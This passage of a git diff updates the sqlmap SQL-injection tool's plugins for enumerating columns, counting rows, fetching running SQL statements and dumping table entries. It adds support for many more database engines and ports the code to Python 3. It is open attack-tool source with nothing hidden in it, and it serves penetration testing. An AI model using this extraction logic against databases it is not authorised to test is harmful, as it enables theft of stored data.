unsafeSQLIdentificatorNaming(conf.db) raise SqlmapNoneDataException(errMsg) else: return kb.data.cachedColumns - tblList = filter(None, (safeSQLIdentificatorNaming(_, True) for _ in tblList)) + if conf.exclude: + tblList = [_ for _ in tblList if re.search(conf.exclude, _, re.I) is None] + + tblList = filterNone(safeSQLIdentificatorNaming(_, True) for _ in tblList) if bruteForce is None: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - errMsg = "information_schema not available, " - errMsg += "back-end DBMS is MySQL < 5.0" - logger.error(errMsg) + warnMsg = "information_schema not available, " + warnMsg += "back-end DBMS is MySQL < 5.0" + logger.warning(warnMsg) bruteForce = True - elif Backend.isDbms(DBMS.ACCESS): - errMsg = "cannot retrieve column names, " - errMsg += "back-end DBMS is %s" % DBMS.ACCESS - logger.error(errMsg) + elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA): + warnMsg = "cannot retrieve column names, " + warnMsg += "back-end DBMS is %s" % Backend.getIdentifiedDbms() + singleTimeWarnMessage(warnMsg) bruteForce = True if bruteForce: @@ -513,7 +560,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod resumeAvailable = True break - if resumeAvailable and not conf.freshQueries or colList: + if resumeAvailable and not (conf.freshQueries and not colList): columns = {} for column in colList: @@ -531,12 +578,17 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod return kb.data.cachedColumns - message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") - choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() + if kb.choices.columnExists is None: + message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]") + kb.choices.columnExists = readInput(message, default='Y' if 'Y' in message else 'N').upper() - if choice == 'N': - return - elif choice == 'Q': + if kb.choices.columnExists == 'N': + if dumpMode and colList: + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): dict((_, None) for _ in colList)} + return kb.data.cachedColumns + else: + return None + elif kb.choices.columnExists == 'Q': raise SqlmapUserQuitException else: return columnExists(paths.COMMON_COLUMNS) @@ -549,7 +601,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: - infoMsg = "fetched tables' columns on " + infoMsg = "fetched table columns from " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) @@ -569,43 +621,42 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + + if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): + query = re.sub("column_type", "data_type", query, flags=re.I) + + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.SNOWFLAKE): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery + elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) query += condQuery.replace("[DB]", conf.db) + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): query = rootQuery.inband.query % unsafeSQLIdentificatorNaming(tbl) + elif Backend.isDbms(DBMS.INFORMIX): + query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) + query += condQuery + if dumpMode and colList: values = [(_,) for _ in colList] else: infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) - infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + if METADB_SUFFIX not in conf.db: + infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) values = None - if Backend.isDbms(DBMS.MSSQL) and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): - expression = query - kb.dumpColumns = [] - kb.rowXmlMode = True - - for column in extractRegexResult(r"SELECT (?P<result>.+?) FROM", query).split(','): - kb.dumpColumns.append(randomStr().lower()) - expression = expression.replace(column, "%s AS %s" % (column, kb.dumpColumns[-1]), 1) - - values = unionUse(expression) - kb.rowXmlMode = False - kb.dumpColumns = None if values is None: values = inject.getValue(query, blind=False, time=False) - if values and isinstance(values[0], basestring): + if values and isinstance(values[0], six.string_types): values = [values] if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values): @@ -622,20 +673,27 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod index += 1 if Backend.isDbms(DBMS.SQLITE): - parseSqliteTableSchema(unArrayizeValue(values)) + if dumpMode and colList: + if conf.db not in kb.data.cachedColumns: + kb.data.cachedColumns[conf.db] = {} + kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(conf.tbl, True)] = dict((_, None) for _ in colList) + else: + parseSqliteTableSchema(unArrayizeValue(values)) + elif not isNoneValue(values): table = {} columns = {} for columnData in values: if not isNoneValue(columnData): + columnData = [unArrayizeValue(_) for _ in columnData] name = safeSQLIdentificatorNaming(columnData[0]) if name: if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].column_comment if hasattr(_, "query"): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(name.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(name)) @@ -652,9 +710,11 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if len(columnData) == 1: columns[name] = None else: - key = int(columnData[1]) if isinstance(columnData[1], basestring) and columnData[1].isdigit() else columnData[1] + key = int(columnData[1]) if isinstance(columnData[1], six.string_types) and columnData[1].isdigit() else columnData[1] if Backend.isDbms(DBMS.FIREBIRD): columnData[1] = FIREBIRD_TYPES.get(key, columnData[1]) + elif Backend.isDbms(DBMS.ALTIBASE): + columnData[1] = ALTIBASE_TYPES.get(key, columnData[1]) elif Backend.isDbms(DBMS.INFORMIX): notNull = False if isinstance(key, int) and key > 255: @@ -677,7 +737,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: - infoMsg = "fetched tables' columns on " + infoMsg = "fetched table columns from " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) @@ -697,11 +757,11 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery @@ -718,9 +778,15 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod query += condQuery elif Backend.isDbms(DBMS.SQLITE): - query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl) - value = unArrayizeValue(inject.getValue(query, union=False, error=False)) - parseSqliteTableSchema(value) + if dumpMode and colList: + if conf.db not in kb.data.cachedColumns: + kb.data.cachedColumns[conf.db] = {} + kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(conf.tbl, True)] = dict((_, None) for _ in colList) + else: + query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl) + value = unArrayizeValue(inject.getValue(query, union=False, error=False)) + parseSqliteTableSchema(unArrayizeValue(value)) + return kb.data.cachedColumns table = {} @@ -732,7 +798,8 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod columns[safeSQLIdentificatorNaming(value)] = None else: infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) - infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + if METADB_SUFFIX not in conf.db: + infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) @@ -743,6 +810,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod while True: query = rootQuery.blind.query3 % (conf.db, unsafeSQLIdentificatorNaming(tbl), index) value = unArrayizeValue(inject.getValue(query, union=False, error=False)) + if isNoneValue(value) or value == " ": break else: @@ -752,12 +820,13 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if not columns: errMsg = "unable to retrieve the %scolumns " % ("number of " if not Backend.isDbms(DBMS.MSSQL) else "") errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) - errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + if METADB_SUFFIX not in conf.db: + errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.error(errMsg) continue for index in getLimitRange(count): - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery field = None @@ -765,7 +834,17 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery) field = None - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + elif Backend.isDbms(DBMS.MIMERSQL): + query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) + query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery) + field = None + elif Backend.isDbms(DBMS.SNOWFLAKE): + query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) + field = None + elif Backend.getIdentifiedDbms() in (DBMS.MONETDB, DBMS.CLICKHOUSE): + query = safeStringFormat(rootQuery.blind.query, (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), index)) + field = None + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery field = None @@ -789,7 +868,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].column_comment if hasattr(_, "query"): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(column.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column)) @@ -804,9 +883,9 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod singleTimeWarnMessage(warnMsg) if not onlyColNames: - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper())) elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) @@ -814,10 +893,12 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column) elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl), column) + elif Backend.isDbms(DBMS.MONETDB): + query = rootQuery.blind.query2 % (column, unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) colType = unArrayizeValue(inject.getValue(query, union=False, error=False)) + key = int(colType) if hasattr(colType, "isdigit") and colType.isdigit() else colType - key = int(colType) if isinstance(colType, basestring) and colType.isdigit() else colType if Backend.isDbms(DBMS.FIREBIRD): colType = FIREBIRD_TYPES.get(key, colType) elif Backend.isDbms(DBMS.INFORMIX): @@ -845,8 +926,9 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if not kb.data.cachedColumns: warnMsg = "unable to retrieve column names for " warnMsg += ("table '%s' " % unsafeSQLIdentificatorNaming(unArrayizeValue(tblList))) if len(tblList) == 1 else "any table " - warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) - logger.warn(warnMsg) + if METADB_SUFFIX not in conf.db: + warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + logger.warning(warnMsg) if bruteForce is None: return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True) @@ -869,7 +951,7 @@ def getSchema(self): self.getTables() infoMsg = "fetched tables: " - infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) else '.', unsafeSQLIdentificatorNaming(_)) for _ in tbl) for db, tbl in kb.data.cachedTables.items()]) + infoMsg += ", ".join(["%s" % ", ".join("'%s%s%s'" % (unsafeSQLIdentificatorNaming(db), ".." if Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) else '.', unsafeSQLIdentificatorNaming(_)) if db else "'%s'" % unsafeSQLIdentificatorNaming(_) for _ in tbl) for db, tbl in kb.data.cachedTables.items()]) logger.info(infoMsg) for db, tables in kb.data.cachedTables.items(): @@ -889,15 +971,16 @@ def _tableGetCount(self, db, table): if not db or not table: return None - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: db = db.upper() table = table.upper() - if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): + if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB): query = "SELECT %s FROM %s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(table, True)) else: query = "SELECT %s FROM %s.%s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(table, True)) + query = agent.whereQuery(query) count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(count): @@ -914,17 +997,17 @@ def getCount(self): warnMsg = "missing table parameter, sqlmap will retrieve " warnMsg += "the number of entries for all database " warnMsg += "management system databases' tables" - logger.warn(warnMsg) + logger.warning(warnMsg) elif "." in conf.tbl: if not conf.db: conf.db, conf.tbl = conf.tbl.split('.', 1) - if conf.tbl is not None and conf.db is None and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): + if conf.tbl is not None and conf.db is None and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB): warnMsg = "missing database parameter. sqlmap is going to " warnMsg += "use the current database to retrieve the " warnMsg += "number of entries for table '%s'" % unsafeSQLIdentificatorNaming(conf.tbl) - logger.warn(warnMsg) + logger.warning(warnMsg) conf.db = self.getCurrentDb() @@ -941,3 +1024,81 @@ def getCount(self): self._tableGetCount(db, table) return kb.data.cachedCounts + + def getStatements(self): + infoMsg = "fetching SQL statements" + logger.info(infoMsg) + + rootQuery = queries[Backend.getIdentifiedDbms()].statements + + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): + query = rootQuery.inband.query2 + else: + query = rootQuery.inband.query + + while True: + values = inject.getValue(query, blind=False, time=False) + + if not isNoneValue(values): + kb.data.cachedStatements = [] + for value in arrayizeValue(values): + value = (unArrayizeValue(value) or "").strip() + if not isNoneValue(value): + kb.data.cachedStatements.append(value.strip()) + + elif Backend.isDbms(DBMS.PGSQL) and "current_query" not in query: + query = query.replace("query", "current_query") + continue + + break + + if not kb.data.cachedStatements and isInferenceAvailable() and not conf.direct: + infoMsg = "fetching number of statements" + logger.info(infoMsg) + + query = rootQuery.blind.count + + if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): + query = re.sub("INFORMATION_SCHEMA", "DATA_DICTIONARY", query, flags=re.I) + + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if count == 0: + return kb.data.cachedStatements + elif not isNumPosStrValue(count): + errMsg = "unable to retrieve the number of statements" + raise SqlmapNoneDataException(errMsg) + + plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES + indexRange = getLimitRange(count, plusOne=plusOne) + + for index in indexRange: + value = None + + if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): # case with multiple processes + query = rootQuery.blind.query3 % index + identifier = unArrayizeValue(inject.getValue(query, union=False, error=False, expected=EXPECTED.INT)) + + if not isNoneValue(identifier): + query = rootQuery.blind.query2 % identifier + value = unArrayizeValue(inject.getValue(query, union=False, error=False, expected=EXPECTED.INT)) + + if isNoneValue(value): + query = rootQuery.blind.query % index + + if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): + query = re.sub("INFORMATION_SCHEMA", "DATA_DICTIONARY", query, flags=re.I) + + value = unArrayizeValue(inject.getValue(query, union=False, error=False)) + + if not isNoneValue(value): + kb.data.cachedStatements.append(value) + + if not kb.data.cachedStatements: + errMsg = "unable to retrieve the statements" + logger.error(errMsg) + else: + kb.data.cachedStatements = [_.replace(REFLECTED_VALUE_MARKER, "<payload>") for _ in kb.data.cachedStatements] + + return kb.data.cachedStatements diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index de51d97f319..cf1e3cd94e9 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -13,7 +13,6 @@ from lib.core.common import clearConsoleLine from lib.core.common import getLimitRange from lib.core.common import getSafeExString -from lib.core.common import getUnicode from lib.core.common import isInferenceAvailable from lib.core.common import isListLike from lib.core.common import isNoneValue @@ -26,6 +25,8 @@ from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming +from lib.core.convert import getConsoleLength +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -41,12 +42,17 @@ from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD from lib.core.settings import CURRENT_DB +from lib.core.settings import METADB_SUFFIX from lib.core.settings import NULL +from lib.core.settings import PLUS_ONE_DBMSES +from lib.core.settings import UPPER_CASE_DBMSES from lib.request import inject from lib.utils.hash import attackDumpedTable from lib.utils.pivotdumptable import pivotDumpTable +from thirdparty import six +from thirdparty.six.moves import zip as _zip -class Entries: +class Entries(object): """ This class defines entries' enumeration functionalities for plugins. """ @@ -62,12 +68,12 @@ def dumpTable(self, foundData=None): warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) entries" - logger.warn(warnMsg) + logger.warning(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.db = conf.db.upper() if ',' in conf.db: @@ -75,15 +81,15 @@ def dumpTable(self, foundData=None): errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) - if conf.exclude and conf.db in conf.exclude.split(','): + if conf.exclude and re.search(conf.exclude, conf.db, re.I) is not None: infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(conf.db) singleTimeLogMessage(infoMsg) return - conf.db = safeSQLIdentificatorNaming(conf.db) + conf.db = safeSQLIdentificatorNaming(conf.db) or "" if conf.tbl: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(',') @@ -91,11 +97,11 @@ def dumpTable(self, foundData=None): self.getTables() if len(kb.data.cachedTables) > 0: - tblList = kb.data.cachedTables.values() + tblList = list(six.itervalues(kb.data.cachedTables)) - if isinstance(tblList[0], (set, tuple, list)): + if tblList and isListLike(tblList[0]): tblList = tblList[0] - elif not conf.search: + elif conf.db and not conf.search: errMsg = "unable to retrieve the tables " errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) raise SqlmapNoneDataException(errMsg) @@ -109,7 +115,7 @@ def dumpTable(self, foundData=None): if kb.dumpKeyboardInterrupt: break - if conf.exclude and tbl in conf.exclude.split(','): + if conf.exclude and re.search(conf.exclude, unsafeSQLIdentificatorNaming(tbl), re.I) is not None: infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl) singleTimeLogMessage(infoMsg) continue @@ -126,15 +132,19 @@ def dumpTable(self, foundData=None): try: if Backend.isDbms(DBMS.INFORMIX): kb.dumpTable = "%s:%s" % (conf.db, tbl) + elif Backend.isDbms(DBMS.SQLITE): + kb.dumpTable = tbl + elif METADB_SUFFIX.upper() in conf.db.upper(): + kb.dumpTable = tbl else: kb.dumpTable = "%s.%s" % (conf.db, tbl) if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns or safeSQLIdentificatorNaming(tbl, True) not in kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]: - warnMsg = "unable to enumerate the columns for table " - warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming(tbl) - warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db) + warnMsg = "unable to enumerate the columns for table '%s'" % unsafeSQLIdentificatorNaming(tbl) + if METADB_SUFFIX.upper() not in conf.db.upper(): + warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) warnMsg += ", skipping" if len(tblList) > 1 else "" - logger.warn(warnMsg) + logger.warning(warnMsg) continue @@ -142,30 +152,32 @@ def dumpTable(self, foundData=None): colList = sorted(column for column in columns if column) if conf.exclude: - colList = [_ for _ in colList if _ not in conf.exclude.split(',')] + colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] if not colList: warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl) - warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + if METADB_SUFFIX.upper() not in conf.db.upper(): + warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) warnMsg += " (no usable column names)" - logger.warn(warnMsg) + logger.warning(warnMsg) continue - kb.dumpColumns = colList - colNames = colString = ", ".join(column for column in colList) + kb.dumpColumns = [unsafeSQLIdentificatorNaming(_) for _ in colList] + colNames = colString = ','.join(column for column in colList) rootQuery = queries[Backend.getIdentifiedDbms()].dump_table infoMsg = "fetching entries" if conf.col: infoMsg += " of column(s) '%s'" % colNames infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming(tbl) - infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + if METADB_SUFFIX.upper() not in conf.db.upper(): + infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) for column in colList: _ = agent.preprocessField(tbl, column) if _ != column: - colString = re.sub(r"\b%s\b" % re.escape(column), _, colString) + colString = re.sub(r"\b%s\b" % re.escape(column), _.replace("\\", r"\\"), colString) entriesCount = 0 @@ -173,14 +185,14 @@ def dumpTable(self, foundData=None): entries = [] query = None - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.SNOWFLAKE): query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) - elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB): + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA, DBMS.SNOWFLAKE): query = rootQuery.inband.query % (colString, tbl) elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): # Partial inband and error if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL): - table = "%s.%s" % (conf.db, tbl) + table = "%s.%s" % (conf.db, tbl) if conf.db else tbl if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting: warnMsg = "in case of table dumping problems (e.g. column entry order) " @@ -203,15 +215,18 @@ def dumpTable(self, foundData=None): value = inject.getValue(query, blind=False, time=False, dump=True) or "" row.append(value) + if not entries and isNoneValue(row): + break + entries.append(row) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" - logger.warn(warnMsg) + logger.warning(warnMsg) - if not entries and not 